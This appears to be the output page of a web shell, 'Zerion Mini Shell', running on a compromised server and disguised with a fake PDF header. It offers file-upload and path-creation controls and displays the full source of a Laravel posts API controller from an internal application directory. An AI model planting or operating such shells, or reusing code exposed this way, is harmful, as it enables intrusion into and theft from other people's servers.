%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/diaspora/api_internal/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/diaspora/api_internal/app/Http/Controllers/Api/v1/PostsController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\Posts\CreatePostRequest;
use App\Models\Category;
use App\Models\Country;
use App\Models\Post;
use App\Transformers\MediaTransformer;
use App\Transformers\PostTransformer;
use Flow\Config;
use Flow\File;
use Flow\Request as FlowRequest;
use Illuminate\Http\Request;
use Illuminate\Pagination\LengthAwarePaginator;
use Illuminate\Support\Facades\DB;
use Spatie\MediaLibrary\Models\Media;

class PostsController extends ApiController
{
    /**
     * User $user.
     */
    protected $user;

    /**
     * PostsController constructor.
     */
    public function __construct()
    {
        $this->user = auth()
            ->guard('api')
            ->user();
    }

    /**
     * @param Request $request
     * @return PostsController
     */
    public function index(Request $request)
    {
        /** @var LengthAwarePaginator $result */
        $result = Post::query();

        if ($title = $request->get('title')) {
            $result = $result->whereHas('translations', function ($q) use ($title) {
                $q->where('title', 'like', "%$title%");
                $q->where('locale', app()->getLocale());
            });
        }

        if ($category = $request->get('category')) {
            $result = $result->where('category_id', $category);
        }

        if ($author = $request->get('author')) {
            $result = $result->where('author_id', $author);
        }

        $result = $result->orderBy('created_at', 'desc')
                         ->paginate();

        return $this->withPaginated($result, new PostTransformer());
    }

    /**
     * @param $id
     * @return PostsController
     */
    public function show($id)
    {
        $post = Post::query()
                    ->findOrFail($id);
        return $this->item($post, new PostTransformer());
    }

    public function store(CreatePostRequest $request)
    {
        DB::beginTransaction();
        try {
            /** @var Post $post */
            $post = Post::query()
                        ->make($request->only(['title', 'short_desc', 'content', 'video_type', 'video_url']));

            $post->author()
                 ->associate($this->user);

            $category = Category::query()
                                ->findOrFail(head($request->get('categoriesId')));
            $post->category()
                 ->associate($category);

            $country = Country::query()
                              ->findOrFail($request->get('country_id'));

            $post->country()
                 ->associate($country);

            $post->save();
            $post->categories()->sync($request->get('categoriesId'));
            $post->uploadImage($request->get('featured_image'));

            activity()
                ->causedBy($this->user)
                ->performedOn($post)
                ->log('created');

            DB::commit();
            return $this->item($post, new PostTransformer());
        } catch (\Exception $e) {
            DB::rollBack();
            return $this->wrongArguments([
                'message' => $e->getMessage(),
            ]);
        }
    }

    public function update(CreatePostRequest $request, $id)
    {
        /** @var Post $post */
        $post = Post::query()
                    ->findOrFail($id);
        $post->update($request->only(['title', 'short_desc', 'content', 'video_type', 'video_url']));

        // $category = Category::query()
        //                     ->findOrFail($request->get('category_id'));
        // $post->category()
        //      ->associate($category);

        $post->categories()->sync($request->get('categoriesId'));

        $country = Country::query()
                          ->findOrFail($request->get('country_id'));

        $post->country()
             ->associate($country);

        $post->save();

        activity()
            ->causedBy($this->user)
            ->performedOn($post)
            ->log('updated');

        return $this->item($post, new PostTransformer());
    }

    /**
     * @param $id
     * @return \Illuminate\Http\JsonResponse|\Illuminate\Http\Response
     */
    public function uploadImage($id)
    {
        /** @var Post $post */
        $post = Post::query()
                    ->findOrFail($id);

        $fileName = md5(time());;
        $request = new FlowRequest();
        $destination = storage_path("app/flow/uploads/$fileName.png");

        $config = new Config([
            'tempDir' => storage_path('app/flow/chunks'),
        ]);
        $file = new File($config, $request);

        if (request()->isMethod('GET')) {
            if (!$file->checkChunk()) {
                return response()->make('', 204);
            }
        } else {
            if ($file->validateChunk()) {
                $file->saveChunk();
            } else {
                return $this->wrongArguments('test');
            }
        }
        try {
            if ($file->validateFile() && $file->save($destination)) {
                $media = $post->addMedia($destination)
                              ->usingName($fileName)
                              ->usingFileName("$fileName.png")
                              ->toMediaCollection(Post::AVATAR);
                return $this->item($media, new MediaTransformer());
            }
            return response(['message' => 'ok'], 200);
        } catch (\Exception $e) {
            return $this->wrongArguments($e->getMessage());
        }
    }

    public function uploadFeaturedImage(Request $request, Post $post)
    {
        DB::beginTransaction();
        try {
            $post->uploadImage($request->get('featured_image'));

            activity()
                ->causedBy($this->user)
                ->performedOn($post)
                ->log('updated-featured-image');

            DB::commit();
            return $this->item($post, new PostTransformer());
        } catch (\Exception $e) {
            DB::rollBack();
            return $this->wrongArguments([
                'message' => $e->getMessage(),
            ]);
        }
    }

    public function deleteImage(Post $post, Media $media)
    {
        $post->media()
             ->findOrFail($media->id);
        try {
            $media->delete();
            return response([], 204);
        } catch (\Exception $e) {
            return $this->wrongArguments($e->getMessage());
        }
    }

    public function publish(Post $post)
    {
        $post->publish();
        activity()
            ->causedBy($this->user)
            ->performedOn($post)
            ->log('published');
        return $this->item($post->fresh(), new PostTransformer);
    }

    public function featureMedia(Post $post, Media $media)
    {
        $post->featureMedia($media);
        return $this->item($post->fresh(), new PostTransformer);
    }

    public function archive(Post $post)
    {
        $post->archive();
        activity()
            ->causedBy($this->user)
            ->performedOn($post)
            ->log('archived');
        return $this->item($post->fresh(), new PostTransformer);
    }

    public function unArchive(Post $post)
    {
        $post->unArchive();
        activity()
            ->causedBy($this->user)
            ->performedOn($post)
            ->log('unarchived');
        return $this->item($post->fresh(), new PostTransformer);
    }

    public function getVideoTypes()
    {
        return response()->json([
            ['code' => Post::VIDEO_YOUTUBE, 'description' => trans("videoTypes." . Post::VIDEO_YOUTUBE)],
        ]);
    }

}

Zerion Mini Shell 1.0